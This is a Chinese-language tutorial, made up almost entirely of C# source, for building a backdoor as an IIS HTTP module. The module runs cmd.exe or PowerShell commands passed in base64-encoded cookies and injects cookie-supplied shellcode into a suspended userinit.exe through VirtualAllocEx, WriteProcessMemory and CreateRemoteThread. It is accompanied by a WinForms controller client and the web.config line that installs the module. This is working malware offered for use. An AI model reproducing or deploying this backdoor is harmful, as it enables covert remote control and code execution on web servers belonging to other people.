手把手带你开发一款 IIS 模块后门

using System;using System.Collections;using System.Collections.ObjectModel;using System.Diagnostics;using System.Management.Automation;using System.Management.Automation.Runspaces;using System.Runtime.InteropServices;using System.Text;using System.Web;using static IIS_backdoor_dll.Program;
namespace IIS_backdoor_dll{  //shellcode执行类部分代码  //https://raw.githubusercontent.com/mvelazc0/defcon27_csharp_workshop/master/Labs/lab7/3.cs    public static class Program    {        [StructLayout(LayoutKind.Sequential)]        public class SecurityAttributes        {            public Int32 Length = 0;            public IntPtr lpSecurityDescriptor = IntPtr.Zero;            public bool bInheritHandle = false;
            public SecurityAttributes()            {                this.Length = Marshal.SizeOf(this);            }        }        [StructLayout(LayoutKind.Sequential)]        public struct ProcessInformation        {            public IntPtr hProcess;            public IntPtr hThread;            public Int32 dwProcessId;            public Int32 dwThreadId;        }        [Flags]        public enum CreateProcessFlags : uint        {            DEBUG_PROCESS = 0x00000001,            DEBUG_ONLY_THIS_PROCESS = 0x00000002,            CREATE_SUSPENDED = 0x00000004,            DETACHED_PROCESS = 0x00000008,            CREATE_NEW_CONSOLE = 0x00000010,            NORMAL_PRIORITY_CLASS = 0x00000020,            IDLE_PRIORITY_CLASS = 0x00000040,            HIGH_PRIORITY_CLASS = 0x00000080,            REALTIME_PRIORITY_CLASS = 0x00000100,            CREATE_NEW_PROCESS_GROUP = 0x00000200,            CREATE_UNICODE_ENVIRONMENT = 0x00000400,            CREATE_SEPARATE_WOW_VDM = 0x00000800,            CREATE_SHARED_WOW_VDM = 0x00001000,            CREATE_FORCEDOS = 0x00002000,            BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,            ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,            INHERIT_PARENT_AFFINITY = 0x00010000,            INHERIT_CALLER_PRIORITY = 0x00020000,            CREATE_PROTECTED_PROCESS = 0x00040000,            EXTENDED_STARTUPINFO_PRESENT = 0x00080000,            PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,            PROCESS_MODE_BACKGROUND_END = 0x00200000,            CREATE_BREAKAWAY_FROM_JOB = 0x01000000,            CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,            CREATE_DEFAULT_ERROR_MODE = 0x04000000,            CREATE_NO_WINDOW = 0x08000000,            PROFILE_USER = 0x10000000,            PROFILE_KERNEL = 0x20000000,            PROFILE_SERVER = 0x40000000,            CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,        }

        [StructLayout(LayoutKind.Sequential)]        public class StartupInfo        {            public Int32 cb = 0;            public IntPtr lpReserved = IntPtr.Zero;            public IntPtr lpDesktop = IntPtr.Zero;            public IntPtr lpTitle = IntPtr.Zero;            public Int32 dwX = 0;            public Int32 dwY = 0;            public Int32 dwXSize = 0;            public Int32 dwYSize = 0;            public Int32 dwXCountChars = 0;            public Int32 dwYCountChars = 0;            public Int32 dwFillAttribute = 0;            public Int32 dwFlags = 0;            public Int16 wShowWindow = 0;            public Int16 cbReserved2 = 0;            public IntPtr lpReserved2 = IntPtr.Zero;            public IntPtr hStdInput = IntPtr.Zero;            public IntPtr hStdOutput = IntPtr.Zero;            public IntPtr hStdError = IntPtr.Zero;            public StartupInfo()            {                this.cb = Marshal.SizeOf(this);            }        }        [DllImport("kernel32.dll")]        public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags,                IntPtr lpEnvironment,                String lpCurrentDirectory,                [In] StartupInfo lpStartupInfo,                out ProcessInformation lpProcessInformation);
        [DllImport("kernel32.dll")]        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
        [DllImport("kernel32.dll")]        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;        public static UInt32 MEM_COMMIT = 0x1000;    }
  //继承IHttpModule    public class IISModule : IHttpModule
    {    //实现Init方法        public void Init(HttpApplication context)        {      //注册HttpApplication应用程序 BeginRequest 事件            context.BeginRequest += new EventHandler(context_BeginRequest);                    }
        /// <summary>        /// 执行cmd命令        /// </summary>        /// <param name="cmd"></param>        /// <returns></returns>        public string RunCmd(string cmd)        {      //base64解密Cookie的值然后重新赋给cmd            cmd = Encoding.UTF8.GetString(Convert.FromBase64String(cmd));            Process proc = new Process();            proc.StartInfo.CreateNoWindow = true;            proc.StartInfo.FileName = "cmd.exe";            proc.StartInfo.UseShellExecute = false;            proc.StartInfo.RedirectStandardError = true;            proc.StartInfo.RedirectStandardInput = true;            proc.StartInfo.RedirectStandardOutput = true;            proc.Start();            proc.StandardInput.WriteLine(cmd);            proc.StandardInput.WriteLine("exit");            string outStr = proc.StandardOutput.ReadToEnd();            proc.Close();            return outStr;        }
        /// <summary>        /// 执行powershell        /// </summary>        /// <param name="scriptText"></param>        /// <returns></returns>        public static string Runpscmd(string pscmd)        {      //base64解密Cookie的值然后重新赋给pscmd      //通过C#直接调用powershell            pscmd = Encoding.UTF8.GetString(Convert.FromBase64String(pscmd));            Runspace runspace = RunspaceFactory.CreateRunspace();            runspace.Open();            Pipeline pipeline = runspace.CreatePipeline();            pipeline.Commands.AddScript(pscmd);            pipeline.Commands.Add("Out-String");            Collection<PSObject> results = pipeline.Invoke();            runspace.Close();            StringBuilder stringBuilder = new StringBuilder();            foreach (PSObject obj in results)            {                stringBuilder.AppendLine(obj.ToString());            }            return stringBuilder.ToString();        }        
        /// <summary>        /// 执行shellcode        /// </summary>        /// <param name="base64"></param>        /// <returns></returns>        public string shellcode(string base64)        {      //分割字符串            string[] arr = base64.Split('|');      //判断shellcode位数是否和目标位数匹配            if (arr[1].Equals(is_x86()))            {                byte[] sc = Convert.FromBase64String(arr[0]);        //这里可以通过参数自定义程序不过我不写了没办法懒                string binary = "userinit.exe";                Int32 size = sc.Length;                StartupInfo sInfo = new StartupInfo();                sInfo.dwFlags = 0;                ProcessInformation pInfo;                string binaryPath = "C:\\Windows\\System32\\" + binary;                IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);                IntPtr hProcess = pInfo.hProcess;                IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                int test = 0;                IntPtr size2 = new IntPtr(sc.Length);                bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);                CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));                return Convert.ToString(sc.Length);            }      //不匹配返回提示            else            {                return "!Target requires"+is_x86()+" shellcode";            }        }        
        void context_BeginRequest(object sender, EventArgs e)        {            HttpApplication application = (HttpApplication)sender;            HttpContext context = application.Context;            HttpRequest Request = application.Request;
            context_filter(context, Request);        }    //判断当前是x64还是x86        string is_x86()        {            if (IntPtr.Size == 4)            {                return "x86";            }            else            {                return "x64";            }        }        void context_filter(HttpContext context, HttpRequest Request)        {            HttpCookieCollection MyCookieColl;            HttpCookie MyCookie;            MyCookieColl = Request.Cookies;            String[] arr1 = MyCookieColl.AllKeys;
            if (arr1.Length > 0)            {                MyCookie = MyCookieColl[arr1[0]];                if (MyCookie.Name.Equals("cmd"))                {                    String cookie = MyCookie.Value;                    context.Response.Clear();                    context.Response.Write(RunCmd(cookie));                    context.Response.End();                    context.Response.Close();                }                                else if (MyCookie.Name.Equals("powershell"))                {                    String cookie = MyCookie.Value;                    context.Response.Clear();                    context.Response.Write(Runpscmd(cookie));                    context.Response.End();                    context.Response.Close();                }                else if (MyCookie.Name.Equals("shellcode"))                {                    String cookie = MyCookie.Value;                    context.Response.Clear();                    context.Response.Write(shellcode(cookie));                    context.Response.End();                    context.Response.Close();                }
            }        }        public void Dispose()        {        }    }}

using System;using System.Collections.Generic;using System.IO;using System.Net;using System.Text;using System.Windows.Forms;
namespace IIS_backdoor_shell{    public partial class Form1 : Form    {        public Form1()        {            InitializeComponent();            this.comboBox1.SelectedIndex = 0;        }    //发送请求并获取返回        public string SendDataByGET(string Url, CookieContainer cookie)        {            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);            if (cookie.Count == 0)            {                request.CookieContainer = new CookieContainer();                cookie = request.CookieContainer;            }            else            {                request.CookieContainer = cookie;            }
            request.Method = "GET";            HttpWebResponse response = (HttpWebResponse)request.GetResponse();            Stream myResponseStream = response.GetResponseStream();            StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));            string retString = myStreamReader.ReadToEnd();            myStreamReader.Close();            myResponseStream.Close();
            return retString;        }    //文件base64编码        public string FileToBase64Str(string filePath)        {            string base64Str = string.Empty;            try            {                using (FileStream filestream = new FileStream(filePath, FileMode.Open))                {                    byte[] bt = new byte[filestream.Length];
                    filestream.Read(bt, 0, bt.Length);                    base64Str = Convert.ToBase64String(bt);                    filestream.Close();                }
                return base64Str;            }            catch (Exception ex)            {                return base64Str;            }        }    //两个textbox事件用于拖放文件        private void textBox1_DragEnter(object sender, DragEventArgs e)        {            if (e.Data.GetDataPresent(DataFormats.FileDrop))                e.Effect = DragDropEffects.Link;            else                e.Effect = DragDropEffects.None;        }        private void textBox1_DragDrop(object sender, DragEventArgs e)        {            ((TextBox)sender).Text = ((System.Array)e.Data.GetData(DataFormats.FileDrop)).GetValue(0).ToString();        }
        private void button1_Click(object sender, System.EventArgs e)        {            if (textBox3.Text!=""&&textBox1.Text!="")            {                CookieContainer cc = new CookieContainer();                        if (comboBox1.Text.Equals("shellcode_x86"))                {                    var base64Str = FileToBase64Str(textBox3.Text);                    cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x86"));                    textBox2.Text = SendDataByGET(textBox1.Text, cc);                }                else if (comboBox1.Text.Equals("shellcode_x64"))                {                    var base64Str = FileToBase64Str(textBox3.Text);                    cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x64"));                    textBox2.Text = SendDataByGET(textBox1.Text, cc);                }                else                {                    byte[] bytes = Encoding.UTF8.GetBytes(textBox3.Text);                    var base64Str = Convert.ToBase64String(bytes);                    cc.Add(new System.Uri(textBox1.Text), new Cookie(comboBox1.Text, base64Str));                    textBox2.Text = SendDataByGET(textBox1.Text, cc);                }            }            else            {                MessageBox.Show("请填写命令或URL地址");            }            
        }    }}

<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <modules>      <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />        </modules>    </system.webServer></configuration>